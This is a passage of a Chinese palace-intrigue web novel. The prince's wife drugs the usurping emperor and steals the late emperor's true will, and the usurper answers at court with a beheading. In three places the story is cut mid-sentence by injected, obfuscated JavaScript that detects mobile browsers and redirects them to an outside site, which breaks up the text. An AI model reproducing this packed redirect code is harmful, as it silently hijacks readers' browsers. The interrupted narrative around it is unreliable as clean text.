“我不苦,其实......他们也没怎的用刑,或许是考虑到季康的原因。”如今伤口依旧隐隐作痛,她选择将其隐瞒了下来,“只要夫君没事,叶儿什么都不怕了。” “傻!”他伸手戳了下她额头。掌管刑律多年,怎会猜不出她受到了何种刑罚,却不再戳穿她,只是紧紧将她又搂到怀中,心痛至极。 沉默许久后,他才终于道:“叶儿,我还要对你说另一句抱歉。” “嗯?”姜秋叶不明地抬起头,乌云再次遮掩月色,黑夜下又一次看不清他的神色。 他声音很低,“或许......你做不了皇后了,只能继续做祁王妃。” 姜秋叶对他说出的这话感到困惑,“嗯?” “若我猜的没错,废太后霍氏拿出的那份遗诏,是伪造的。”说完,他紧了紧眉,“可能是霍氏,也可能是季康,参与了弑君之举。可无论是谁,季康这样的人,无义无德,我容不得这般人坐在那位子上,否则我大晋将重演曾经的耻辱。” 她听闻后心中一喜,立刻起身,压低了声音道:“难道夫君的意思,是要造反?” “嗯。”他颔首,面色不清地盯着她,“但我依旧不会当皇帝,所以你还是无法做皇后,让你失望了吧。” 她一怔,听起来季辞是选择扶持另一位新帝。 姜秋叶立刻摇头,羞红了脸,“我不要做季康的皇后,我只想......” 她只想做他季辞的妻子,哪怕他被贬为庶人,她也想跟着他。 她话没说完,可是季辞心中却忽心花怒放,原来她根本不愿意跟着季康。 他压平嘴角,后又沉稳道:“曾经跟在先帝身边的李公公前些日子被发现自刎而亡,据说是想追随先帝而去。可我下面的人发现,那起案件疑点太多。若他不是自刎,那便是他杀。” “此关键时期,先帝驾崩未过多久,李公公之死,只能说明杀他之人心中有鬼,乃是为了让他闭嘴而灭口。而李公公,一向是距离先帝身边最近之人,所以我怀疑......” 姜秋叶立刻明白了他的意思,双眼一亮,“夫君是怀疑,要么李公公知道伪造一事,要么先帝另有遗诏?” “对,只是......一来,是否有遗诏,这并非确切之事。二来,若有遗诏,也不知里面继位之人,是否仍是季康。所以,叶儿......” 他抬手轻轻抚过她的长发,视线顺着发丝往下,来到了她仍然有些乌青的指节,“所以叶儿,接下来的时日,为夫会先离开这里一阵。如今季康应已发现我离开诏狱,天罗地网搜捕,你便好好待在椒房殿中,反而安全。” 姜秋叶心中一紧,没想到才见到他片刻,他便要离去。 她万分不舍,抓住他的衣袖,拼命摇头道:“我想与夫君同在,你去哪儿我便去哪儿。难道夫君是嫌弃我拖油瓶?” “自然不是,叶儿,你安全了,我才能放开手去做。” 他看她的娇气模样,心中虽是不忍,却还是硬下心肠。 再者,她一直安全待在椒房殿,若是他起事失败,她也不必因此受牵连,还能继续做她的皇后。 只是,他唯一担心的便是她身体中的蛊毒未解。 听闻斐栀虽压制住槿红体内的蛊,可对于解蛊一事却依旧毫无头绪。 姜秋叶听他这样说,便终于不再纠缠,只是点点头答应,“那夫君,你定要万事小心。” 她垂下眸不知思索何事。 忽然,她想到了季辞入狱前,她的一番坦白决定,看着眼前的他开始心跳如雷。 “夫君,其实我......” 话音未落,便被窗外一声轻咳打断。季辞转头看了眼外面,是天去给自己报信的影子,紧了紧拳。 “叶儿,我必须离开了,记得乖乖待在椒房殿。” 姜秋叶见他着急,便把到嘴边话收了回去。 下次吧。 可她却没有答应他所说的话。 若是对于先帝是否另外留下遗诏之事,以她的身份,和所处位置,或许如今只有她能做些什么。 他说完后从怀中拿出一物,放到姜秋叶手心。她只感到手心一凉,低头一看,竟是那枚芙蓉玉坠。 “这?” “我离开诏狱之前,把它拿回来了,收好。” 姜秋叶看着夜色下泛出出白光的玉坠,花瓣边缘缺了一个小口。心中激动不已,用力握紧了它。 季辞起身,最后捧住她的脸,俯身在她的唇上落下一个重吻,又深深看了她一眼,转身翻窗离去。 转眼间,寝宫变得空荡下来,空气中残留的佛手柑香也消散不见,就好似他从未来过这里一般。 …… 翌日晚膳时,季康寻来了椒房殿。他知这个女人如今愈发厌恶他,可他却丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13051025|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不在意,每日都抽空闲来此地挨她两句讽刺。 今日姜秋叶却破天荒未讽刺他,只是审视着,忽而娇嗔一笑,“陛下每日都来此处,却从来不在此地用膳,不如今夜......留下用膳如何?” 季康眯着眼睛,心感她的模样实在不寻常,没有回答她的话。 姜秋叶见状道:“陛下,待在这宫中这些时日,每日锦衣玉食,我也渐渐想通了。何必与荣华富贵过不去呢?实不相瞒,我虽对皇后之位是有心,可却容不得与他人共侍一夫。” “陛下见祁王便知,祁王府中无侧妃,也无姬妾,我实在不喜后院争斗。陛下记得吧,当初池边的赵婉儿,差点死在我手下。我可不想将来控制不住,把段贵妃娘娘给......” 她斜眼瞅了一眼站在原地的季康,见他开始回忆,眸色微动。她立刻桃花眼挑起,咯吱一笑,转身,披散的青丝随着风和她的动作扫过他的脸,很痒。转眼间她入了膳堂,消失在眼前,如梦如幻般,引起了他强烈的心跳。 季康被她刚才那笑声一撩,心怀春意地跟上,入了膳堂后,见桌上山珍海味,色香俱全。 “叶儿妹妹,这是何意?” 姜秋叶轻跳着落座桌前,乜视着他。 “陛下,我刚说过,我虽有意于皇后,却不愿与人共侍一夫,即便你是皇帝。若想让我心甘情愿做皇后,便为我废了段贵妃。”她拿起桌上的银箸,放在唇边轻咬,“若是陛下答应此提议,今夜便留下,与叶儿一同用膳吧。” 姜秋叶“用膳”两字咬得极为轻佻,似是某种暗示。再配上她今日有些透明的黑纱罗裙,虽是遮得严严实实,却更加诱惑人心。 季康停滞在原地许久,而后忽然仰面大笑,果然,她这副自私虚荣的模样,才是她。而不是前些时日,为了一个季辞,对他冷嘲热讽。 他仅仅犹豫片刻,看着她那双勾魂夺魄的带情桃花眼,下腹充上一股热浪,他转身便让所有椒房殿中的侍卫与宫女离开。很快落座在桌前,眼睛直勾勾地盯着她。 她捂嘴一笑,挑眉,开始动筷吃菜。见他不动,努了努嘴,道:“陛下不吃吗?” 季康这才起箸,看着她吃下哪道菜,便跟着吃那道菜。 对她的防备之心昭然若揭。 用膳期间,她舔了舔朱唇,似乎无意识提道:“只是,我虽在椒房殿中,却听到了一些让我不安的传言。” “何传言?”他眼睛从她的脸颊往下挪,停留在了最勾魂儿的地方。 姜秋叶并不在意他的视线,“听闻,因李公公之死,有人开始暗中怀疑......怀疑陛下得位不正。” 季康一僵,停下了手中的箸,阴鸷地回看着她依然笑靥如花的脸,眼角微微抽搐道:“不过是谣言罢了。” “嗯,我这些时日甚是忧虑,应该不会.......还有另外的遗诏在世吧?” 季康夹着肉的筷子一抖,掉落在了桌上,看回她,故作平静,“自然没有,说了,都是谣言。” 姜秋叶明显感受到他散发出来的审视与无声的质问,便道:“嗯,是谣言便好,我只是担心,我皇后的位子坐不稳。” 季康本有些心虚,听闻后收住心中疑虑,阴笑道:“叶儿妹妹不必担心,以后谁说出这种话,朕便杀谁。” 她细细观察着他的表情变化,虽极力掩饰,却还是泄露出了焦急与不安。她心中更是有了九成的确信,废太后霍氏果真造了假,而真正的遗诏,季康还未找到。 刻漏滴答作响,时间流逝。 季康咽下口中的鱼片,看着对面已经收回笑容的姜秋叶,竟开始头晕眼花。他用力摇了摇头,身子不自觉往前倾,将手用力撑桌,看着被吃剩的膳食,终于意识到,自己中了她的计。 “你、你对我、对我下药?可为什么?” 为什么他与她吃了同样的菜,她却毫无反应? 姜秋叶没有回答,面上的笑早已消失,只剩下冰冷一片,静静看着季康弹指间便晕倒,额头重重磕在食案之上,红了一片。 为什么? 她苦笑,她不过是下了最简单的迷药罢了,既然非毒,银箸自然测不出。而这种迷药对她自己,根本毫无作用。 是这个蠢货自己,被美色冲昏了脑袋,竟让侍卫离开椒房殿。 虽然季辞叮嘱过自己安心待在椒房殿,可是她深知,季辞所做之事危险至极。 若她能帮他将那遗诏找出来,或许能避免掉不必要的流血与伤亡。 为了他,她愿意再去赌一把。 96.遗诏 第九十六章 深夜下,季辞身披一身黑袍,在天去等人的护送下,来到京郊一处茅草居所。 彼时屋内点了烛光,却依旧微暗。他对天去对视一番,对方朝他点头致意。他便朝着那小屋而去,推门而入,是周成虎盘腿落坐于案几前。 季辞进入后,天去等人立刻为他关门,守在门口。 晋肃帝崩逝前,周成虎被调统领南衙禁军。因着两人明面上关系并不密切,季康便未对他下手。 见到季辞到来,周成虎立刻起身朝他拱手行礼。他见状立刻上前托起,“将军不必多礼,今日深更,叫将军前来见我这通缉罪人,本王才是折煞了将军。” “末将不敢!”周成虎起身,“王爷曾在战场上救过末将,乃是过命的交情,王爷说出这话,才是折煞了末将。” 他有些忐忑,转头看了眼单调的四周,最后立刻伸手向榻,“王爷,请坐,咱们边喝酒,边聊!” “好!”季辞听闻后挥袍落座,看着桌上的清酒,立刻伸手倒上两杯。 “如今王爷身陷囹圄,今夜喊末将前来,是为了何事?可有什么,能让末将帮上王爷?” 昏暗灯光下,烛光在脸上不安晃动。季辞没有直接回答,看着面前的周成虎,一身素衣,却是带着战场厮杀过的汹涌澎湃之气,问道:“不知周将军,如何看待当今圣上?” 周成虎沉默起来,脸上带有紧张,片刻后又笑道:“说实话,看着当今圣上所作所为,末将只觉大晋危矣!圣上登位短短几日,便开始弃新政,用旧制,意图扶持各个王公士族。可不仅仅如此,圣上滥用酷刑,任何立他于对面之人,皆一并除去,仅仅几日,狱中便死了不少曾反对他的朝臣。” “好在唐太傅等人数年宦海沉浮,朝中势力与民间声望,依旧让他有所忌惮。在末将看来,或许不久将来,四地便又要掀起大大小小的起义。” “在末将眼中,当今圣上,并非一位明君。” 季辞举杯自饮,放下酒盏后道:“据本王所知,圣上已经对骊国开始做求和准备。一旦求和骊国,民间必定加重赋税以应贡品。” 他手指微颤,继续道:“敢问将军,若本王请求你动用南衙禁军,将军可愿,为天下一战?” 周成虎瞳孔震颤,停滞许久后,将面前酒盏中清酒饮尽,起身朝旁跪下,厉声道:“末将身为大晋将领,为大晋,为天下,乃末将荣幸。王爷不仅对末将有知遇之恩,还有曾在战场上对末将的救命之恩,此等恩情,无以为报。如今我手掌禁军,但凡能有为王爷所用之处,成虎必定赴汤蹈火!誓死相随!” 季辞见状,立刻起身朝他拱手行礼,“将军忠义,如今为我季辞,竟甘为反贼,请将军受我一拜!” 说完,他便朝周成虎行礼。 周成虎大惊,立刻扶住他,“末将不敢受啊!” “周将军乃大义者,是我求于将军,当受得此拜!” 周成虎仰面大笑,弯腰为两酒盏中添上清酒,其中一杯递给季辞,“如今形势紧迫,宵禁森严,今日便以此酒,祝王爷得胜。待事成之后,末将愿与王爷,不醉不归!” “好!”季辞用力猛拍他肩,随即接过他手中酒盏,一饮而下。 …… 同样的夜色之中,姜秋叶看着晕倒的季康,拿起一根食案上的银箸靠近他,站在他面前,看着他的后颈许久,不知在犹豫何事。 最后她还是放下那银箸,趁着守卫在椒房殿外,直接溜出了宫殿。 她猜想着晋肃帝可能把遗诏存放之地。 两个地方,太极殿,或者养心殿。 而养心殿可能性最大,因着他在死前,因重病一直躺于殿中,从未出去过。而遗诏此等重大之物,必然不可能随意交给他人收藏。 她自远离椒房殿后,便没有再躲避宫道上任何人,直接大咧咧往养心殿而去。 皇宫守卫森严,若是鬼鬼祟祟,反而容易被抓。 只是看着养心殿门口巡逻的禁军,她眉头蹙起,最后还是决定从屋顶而入,不惊动禁军。 季康虽不在殿中,却点了成百上千的烛火灯盏,也好得她寻找那遗诏方便许多。 连季康都找不到的遗诏,定然藏得极为隐秘,姜秋叶猜测,这殿中应有暗格。 她转头仔细辨别着殿外动静,立刻来到书案之前,细细查看案几,地面,墙壁。时间一点点流逝,却一无所获。 这时,忽然听到外面禁军大声交谈:“圣上在椒房殿昏迷,醒来后发现祁王妃逃走,我们正在宫中搜查,戒严四处。你们这里可否有何动静?” “我们一直守在此地,并未听到任何动静。” 那禁军滞了片刻后道:“我们需要入内搜查一番,若无异样,便会离开。” 姜秋叶忽然心慌起来,她四处搜寻躲藏之地,却总感觉哪里都可被轻易寻获。 她往殿内深处轻步跑去,却只见一尊金佛,更是无处可藏。听着越来越近的脚步声,她心剧烈跳动。外面听起来二十多人,别说她手无寸铁,以一人之力或许难以抵挡。若是暴露自己细作身份,那更是会给季辞带来灾难。 慌张间,她不断后退,竟碰到了金佛,那金佛被她带转后,其下方的地面竟然出现了一间漆黑的地窖。 她大喜过望,立刻跳入其中,关上地窖之门。 里面虽然漆黑,狭小,却能清晰地听到外面的声音。她压低自己的气息,四处摸索,寻到一火折子,立刻将身旁的一盏灯点燃。 地窖瞬间明亮起来,她发现里面竟存放了许多金银珠宝。想到晋肃帝生前利用各种阴私手段充盈私库,那些钱财却怎么也找不到。 如今看来,定是都存于此地。 她慢慢四周摸索一番,竟真的叫她找到一木盒,她心中一颤,立刻打开那木盒,只见是金黄的诏书。 即刻将诏书打开,看了一番后,又放回盒中。 心中对遗诏内容震惊不已。 大概一盏茶时间,地窖上方终于没了动静,定是那禁军未寻到任何,便直接离去。 她抱住那木盒,打开地窖后,先是暗暗查探一番,才迅速翻身而出。而后到了床榻附近,借杆向上攀爬,很快便从宫殿顶端翻出。 得益于她的一身黑衣,她在夜色下隐藏得顺利,可在此刻却发觉四处多了守卫,实在难以脱逃。 她轻轻往前几步,翻身下了养心殿,却见前方一小队巡视而来。抱着木盒的手心出了汗,她立刻寻到一角落躲了进去。 如今遗诏在手,皇宫已不能再待下去。若被抓住,季康定然会毁了这遗诏。 可她忽然意识到了新的问题。 这遗诏,究竟该以何种方式现世? 必然不能是她,也不能是季辞。否则季康及其党羽有一万种借口指鹿为马,说这是假遗诏。 一番思索后,她忽然想到了太皇太后赵氏。 赵氏虽久不理朝政,可威望甚高。当初创立先晋太平盛世,无论是晋安帝,还是晋肃帝,都对她极为尊敬。而季辞,又是她最为宠爱的孙儿。 只是自季康继位之后,她似乎失望至极,便直接搬离皇宫,去往了宫外一处皇家园林,安和园居住。 所以此刻,她需要做的,还是顺利逃出皇宫,将这遗诏,完好无损地交至太皇太后手中。 可是随着禁军不断的调令和增多,出逃的难度愈发大。她看了一眼永和宫方向,却垂眸摇了摇头。 待眼前的那小队禁军离开,她才走出拐角,七弯八拐下,她忽然看到一顶轿子停在太妃集中居住的寝宫处。 她心中一喜,偷偷摸了过去。 …… 已过子时深夜,宫中树影斑驳。 深宫之中,一顶轿子被四个小太监抬着,经过一座桥,最后往朱雀门而去。门口执守的守卫见那轿子,立刻上前举起刀柄将其拦下,大声道:“什么人?宫门已经下钥。” 那轿帘立刻被掀开,一声娇气厉声吼道:“怎么?连本宫都不认识了?” 那守卫一怔,立刻上前行礼,“小的眼拙,参见安阳长公主。” 他抬眼一瞥,而后犹豫道:“长公主殿下,如今已过子时......” “那又如何?”安阳面无表情打断她,“今夜发生了大事,你们可知?” “这......” “祁王妃今夜迷晕我皇兄,逃离了椒房殿。我皇兄怀疑她已出宫去寻太皇太后求助,可太皇太后身为女眷,现如今又常年居住安和园。而我今日刚巧入宫参见母妃,皇兄便给我下了口谕,让我出宫去寻太皇太后。” 她扫视一眼几个守卫后,嗤笑一声:“祁王妃,可是将来的皇后。若你们在此耽误了时机,让未来皇后在宫外出了何事,你觉得我皇兄会放过你们吗?” 守卫纷纷四目相对,咽下口水,想到新帝如今的雷霆手段与那些残忍酷刑,心中不由害怕起来。 他重新看回安阳严肃的脸,最后点头,再次尊敬行礼,跑开后立刻挥手,让人打开宫门。 安阳将轿帘重新放下,四名小太监立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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当堂中只剩下两人之时,赵氏沉稳开口道:“如今季康已经继位,哀家也早已放权不理朝政几十载,虽说此或许乃先帝临终夙愿,可拿出遗诏,天下动荡。成事自是好,可若不成事,还令皇帝怨恨于哀家,赌上那么多年的名誉,甚至性命。风险之大,哀家为何做此等事?” 姜秋叶忽然意识到,以往赵氏在她面前,总以“我”作自称,可今夜,却用了“哀家”一词。 她深吸一口气,往日,她最为惧怕赵氏。只因赵氏太过聪慧敏锐,轻易便能洞察她眼中所有的戏码。 此刻,她逼迫着自己抬头,直视赵氏,一字一句,用力道:“当今圣上无德,大施刑狱,低声下气求和骊国,此等我便不再多说,我相信太皇太后看得清清楚楚。” “今夜,我要说的,是季辞,是我夫君!” 赵氏神情微晃,握紧了手中的诏书。 “太皇太后,不,太奶奶。我夫君,自小天之骄子,一番顺遂,直到那年乾阳被燕悻攻陷,他被自己父皇所弃,流浪数载。在这期间,他经历过饥荒,经历过战乱,经历过......自己的母后薨在他的面前。那时的他,明明才是个十几岁的少年。” 姜秋叶说着,眼中泛起了泪光,“那几年的流亡,除了身体上的伤痛,更多的是心理上的。我的夫君,他的厌食之症,乃是起之于心,绵延至体。他曾在启元皇后的遗体前立下毒誓,此生绝不觊觎皇位。” “来到盛京后,他一直恪守职责,遵着曾经的誓言,托着他的病体,一心一意为大晋,为他的兄长,鞠躬尽瘁,死而后已!” “自他被父皇所弃之后,从来未得到过公平的,应有的对待。他诸多付出,可无论是他的父亲,还是他的母亲,兄长,侄子,甚至是他的妻子,都从未给到过他应有的回报。” “只是如吸血蛀虫一般,享受着他的仁慈与恩惠。如今,甚至给他定下了谋逆的杀头之罪!” “对此,我深感惭愧!我配不上!配不上他的好,配不上祁王妃的位置!” “可如今,我想救他!情不知所起,一往而深。我承认,我是一个自私自利的小女子,井底之蛙,心中装不下家国大义。但我今日此举,只因爱他,只为了给他,应得的回报!” “我既然装不下大义,那装下他一人,足矣。” “所以,太奶奶!他不是您最宠爱的孙儿吗?我求求您,救救他!救救简兮哥哥!” 说完这番话后,她重重地朝着地面磕下头,声音之响,久久回荡在赵氏的耳边,不绝于耳。 她完全匍匐在地,看不到赵氏神情,只知道自己早已泪流满面,终于说完话后,已哽咽到再难以开口。 许久的沉默后,赵氏幽幽的声音传入她的耳中,“我知道了。” 97.夺权 第九十七章 翌日,盛京又开始骤雨大作,安和园中的垂柳被用力击打,湖面水影颤动。 姜秋叶与安阳同坐内室,观着外面的大雨倾盆,案几中间茶气萦绕。安阳看着她不动声色地剥着一只橘子,又看向室外,感受着飘进窗棂的冷气。 她不由叹息道:“皇婶,你看起来好平静。明日便是登基大典,也不知太极殿那边如何了。” 姜秋叶停了停手中的动作,把橘子皮扔到案几边,掰下一瓣橘,倾身塞到安阳嘴中,笑了笑,“我们已经尽力了,能做的都做了,接下来便只有耐心等待。” 安阳咬破口中的橘子,汁水溢出,酸得她眉头蹙紧,一股瑟缩散过浑身,抖了抖,“好酸——” 她抬头,见姜秋叶竟吃得无动于衷,不由佩服。 努力将那橘子咽下,忽然想到什么,看着姜秋叶道:“对了皇婶,前段时间,我还以为你真的要嫁给我皇兄,为了做皇后,不顾伦理纲常。” 她手中的动作一滞,苦笑道:“让你失望了吧。” 安阳立刻摇头,笑道:“你都能冒死偷出遗诏,那定然被迫的,我应该相信你的,皇婶。” 姜秋叶犹豫着开口道:“安阳,其实......我很早前确实觊觎过那个位子,所以季康才会直接把我带去椒房殿,说起来,也是怨我。” “啊?”安阳目瞪口呆,嘴无意识张开。 “我一直都是一个自私自利的小人,包括以前嫁给你皇叔,也只因贪慕虚荣,寻求庇护。可我真的没想到,我竟然能被你皇叔所影响。明明我们是两个完全不同的人,我无情无义,他心地纯良。或许......也正是因为这极端的不同,才如此吸引我吧。让我为了想要更加靠近他,而努力变成他的模样。” 说到此,她嘴角不由勾起。 “皇婶,你其实......很喜欢我皇叔吧。” 姜秋叶拿过第二个橘子开始剥起来,大方地点头,不再如曾经那般遮掩,“对,我很爱他,这世上没有任何一人,让我如此之爱。” 安阳听闻后竟羞红了脸,微笑起来,“真羡慕啊。” “羡慕什么?” “羡慕你和皇叔。” 姜秋叶一怔,只是扯了扯嘴角,低下头,隐去自己的表情。安阳怎会知道,他们之间从开始便是一场场谎言与欺骗,她做错过太多事,出生在阴暗之中,怎配得上季辞如此美好的人。 但她知道此刻,她愿意为这么美好的人付出一切,哪怕入地狱便也是无畏。 安阳拿起热茶一抿,又看了看外面下个不停的雨,“皇婶,我心好慌。如果我能像你这般平静就好了。” “安阳。”姜秋叶深呼吸一口气,停下剥橘子的动作,看着自己正在颤抖的手,无论如何努力也无法控制,“我其实一点都不平静,安阳。我很害怕,很担心,担心太皇太后,也担心季辞。” …… 太极殿之上,季康坐于主位高处,头疼地揉着自己的太阳穴。 他实在没想到,自己还是小瞧了这个诡计多端的小偷,昨日竟做出给自己下药,迷晕自己的举动。竟然速度如此快,直接逃离了皇宫,他让禁军将整个皇宫的蚂蚁窝都翻出来了,就是找不到人。 明日便是大吉,下方的礼部官员正在上报着登基大典流程,所有准备一切妥当,那时将是在先帝灵前继位,百官朝拜,改元建新。 礼部报告完后,季康才开口道:“有劳众臣,礼部侍郎办事,朕放心。” 礼部侍郎眼睛转了转,忐忑开口道:“陛下,臣还有一问。” “说。” “原本计划明日和登基大典同期举行的封后大殿......还要进行吗?”礼部侍郎抹了一把额头细汗。 昨夜皇宫动静闹的多大,所有人都知晓。皇帝的新皇后,皇婶,祁王妃,直接从椒房殿跑了。也不知那么晚如何出宫,如今也不见踪迹。 提起此人,众臣眉眼间都闪过一丝厌恶,却不敢发话。在他们看来,跑没影最好,免得皇帝犯下这不伦大过。 没想到季康睁大了眼睛,理所当然道:“当然举行,爱卿这是何话?朕的皇后,朕今日便会让人给找出来!与其在这里发问无用之事,想办法去找皇后才是要紧之事。” “是、是,陛下。”礼部侍郎闭了嘴,踢到了老虎屁股,退下后连头都不敢再抬。 “等等!”倏然间,一个带着多年威压的声音从太极殿门口传出,众人转头一看,竟是太皇太后,被女官搀扶着一步步走入殿内,最后站定到了最前方。 “此等不忠不义不孝之举,满朝竟无一人反对?” 她身穿一身锦绣深棕服制,眼神矍铄,精神抖擞地看着上方的季康。 众人见到太皇太后的到来,似乎有了主心骨一般,松了口气。 季康并未起身,而是坐在原地,假意恭敬道:“太皇太后多年不理朝政,今日怎突然来了太极殿?外面雨大难行,朕这就派人亲自将太皇太后送回安和园。” 赵氏看着他冷笑一声,道:“哀家是多年不理朝政,只因不愿做那牝鸡司晨的罪人。可如今再不理这朝政,只安详度晚年,难不成真要眼睁睁看着大晋再一次灭亡吗?曾经哀家犯过的错,绝不能再犯!” 季康却无所谓一笑,在他看来,赵氏多年不涉朝堂,除了早年名声,并无任何实权。当今世道,握着兵权,才是握着实权。 他信誓旦旦道:“太皇太后真会说笑,竟诅咒我大晋亡于朕这一代。您多年不理朝政,自然不懂如今朝局,朕所做的一切都是为了稳固朝纲,还大晋百姓安居乐业,保边境和平。朕敢在此立誓,十年内复大晋当年盛世之景。” 赵氏皱眉,斥骂道:“难道强娶自己皇婶也是为了大晋百姓,安居乐业?难道非你自己欲壑难填?” 季康则不顾一屑,继续盛气凌人,“皇婶又如何,自古又非无这先例,一女前后侍奉父子之举大有,何况这只是皇婶。朕是皇帝,怕这天下口诛笔伐吗?谁反对,朕便杀谁!又能如何?” 赵氏见他张狂模样,心中更是气愤,讽刺笑道:“你是皇帝?你确定你是皇帝?” “太皇太后此话何意?”季康被她激怒,拍案而起。 赵氏大喝一声,“出先帝遗诏!” 此话一出,众朝臣震惊地左右相看,不明所以,最后见女官竟真拿出一份遗诏后,纷纷下跪听旨。 在女官唱读前,太皇太后又叫出了一人站在自己跟前,是六岁的季琅,先皇第九子。 随着遗诏内容的宣读,那声音如霹雳一声惊雷打在众人心口,纷纷四目对视,不知所措。 季康则站在原地,逐渐眯起了眼睛。 他没想到,真正的遗诏竟在在太皇太后处,可为何之前不出这遗诏,如今才拿出? 忽然间,他想到了昨夜逃跑那人。 真是不应小瞧啊! 女官念完后,大声道:“听明白了吗?这才是先帝真正的遗诏,九皇子季琅继位,祁王季辞为摄政王总理朝政!而季康,伪造遗诏,此罪当诛!” “这......”朝臣们犹豫地对望着,不敢起身,亦不敢站队。 这时,唐太傅起身,转身朝着少帝季琅下跪匍匐道:“臣等,愿遵循先帝真正遗诏!陛下万岁万万岁!” 此话一出,原本心底便不服季康的人也纷纷墙头草般,跟随着唐太傅,转身认少帝为新帝。 季康开始大笑起来,肩膀耸动,一手捂着脸,笑了好一会儿,才停止,“你说朕伪造遗诏?朕看太皇太后真是越老越糊涂,为了保住您最宠爱的孙儿,竟然做出污蔑朕之举。” “没错!”段太师立刻起身附和。 如今虽然自己女儿没能当成皇后,可他与季康早是一条绳上的蚂蚱,若是季康获罪下台,他段家荣耀也将因此而绝。 “如今两份遗诏出现,上面皆有玉玺印,如何能证明太皇太后手中遗诏便为真?” 女官见状立刻上前大怒:“放肆!太皇太后之名也是尔等能污蔑的?太皇太后多年不理朝政,便是季康继位后,担忧天下动荡,才搬离寿康宫,入住安和园,彻底远离朝堂。” “可如今,四处大施刑罚,苛捐杂税,不分青红皂白迫害官员,竟还为求和骊国,准备割让土地上贡。此等行径,难不成真是为我大晋?” …… 安阳看着发抖的姜秋叶,心中不忍,立刻起身来到案几对面,搂住她的肩膀,道:“皇婶莫要慌张,都怪我,是我自己胆小,引得皇婶心中不安。” “与你无关。”姜秋叶靠在她的肩膀上摇了摇头,“其实我昨夜一直未能入眠,我强装镇定,只是没有表现出来而已。” 她起身看着安阳勉强笑了笑,又伸手摸了摸她额间的发,“明明我比你大,如今反倒成了你来安慰人。安阳,你长大了。” “当初是皇婶救了我,也是皇婶教会我向前看。”她扯过姜秋叶手中的一瓣橘子,放入口中,酸涩感让她猛得一激灵。 “皇婶,或许只是我们过虑。你想啊,以太皇太后当年的威望,怎会震慑不住那群人。就像父皇,当初也要对太皇太后毕恭毕敬。” “嗯。”姜秋叶点点头,却沉吟着,“我担忧的,不是太皇太后的威望。我真怕,反而是我一番冲动,害了太皇太后与支持季辞的朝臣。安阳,你可知晓,历来帝王,如何掌权?” “天子之威,皇家血统,那必然是宗亲。”安阳又低头思索一番,继续补充道:“还有帝王权衡之术,聪慧,民意,仁德。” 姜秋叶却摇头,怅然道:“你说的那些都一部分,还有一个才是最为重要的。” “是暴力。” “暴力?” “嗯,自古成者为王,败者为寇。拥有兵权之人,以暴力取得政权,即便不是真正的天子又如何,也能称自己为天子。”她垂下眸继续掰着橘子,“我怕就怕,无论是先帝遗诏也好,还是太皇太后威名也罢,只要季康手中握有军权,这些在暴力面前,全部都是沧海一粟。” …… 季康皮笑肉不笑地看着下方两党众臣相互争执,你来我往,唾沫横飞。 又看向站在太皇太后身侧,一句话都不敢说的九弟。 实在太过可笑,就凭这六岁小儿,也想跟他争夺皇位。 他脸颊抽搐,终于忍无可忍,将书案上的奏章全部扔至地下。 勃然大怒吼道:“来人啊——” 听到季康的雷霆暴怒之声,站在太极殿外的神武军校尉立刻带重兵冲入,脚步在木板上踏出震天的响动,将整个太极殿团团包围,水泄不通。 校尉奔至季康面前跪下,大声道:“陛下请下旨!” 四周朝臣瞬间噤声,看着那甲卫腰间佩刀,忽然意识到,北衙禁军,左右神武军,如今在季康手下,而这个校尉,是季康的走狗。 季康没有说话,只是看着一脸土色的朝臣,最后又看向眉头皱成川字的太皇太后,讽刺一笑。 “怎么?现在便无人敢说,朕得位不正了?” 赵氏收回脸上的神色,看起来镇定自若,“怎么?季康,难不成你要将这殿中朝臣全部杀死?别忘了,天底下无不透风的墙。这么多朝臣,背后多少势力,你要纷纷激怒吗?” “就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069001|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀了又如何?”季康轰然大笑,“就算朕杀尽天下人,朕也是天子!” 刑部侍郎再也看不下去,两步上前大骂道:“季康,你伪造遗诏夺位,我看,你怕是还伙同废太后霍氏弑君!今日除非杀尽我等,否则我等出了这太极殿,便要将你罪行昭告天下!” 季康鼻翼抽动起来,暗骂这群冥顽不灵的老东西,大吼一声:“贺起!” “是!陛下!”那名叫贺起的校尉起身,走向刑部侍郎,直接抽刀而出,手起刀落,竟直接将头斩下。 那血四处喷溅,离刑部侍郎近的人都被染上一身血迹,最后看着那无头尸体软趴趴地倒下。 众人惊痛不已,再无人敢反抗于季康。 贺起大声怒吼:“还有谁?” 唐太傅看着那在地上滚了几圈的头颅,心痛难忍,闭了闭眼,握拳下定一番决心,走上前,“还有我!杀了老臣,我追随先帝而去!就算是死,也绝不拥护你这暴君!” 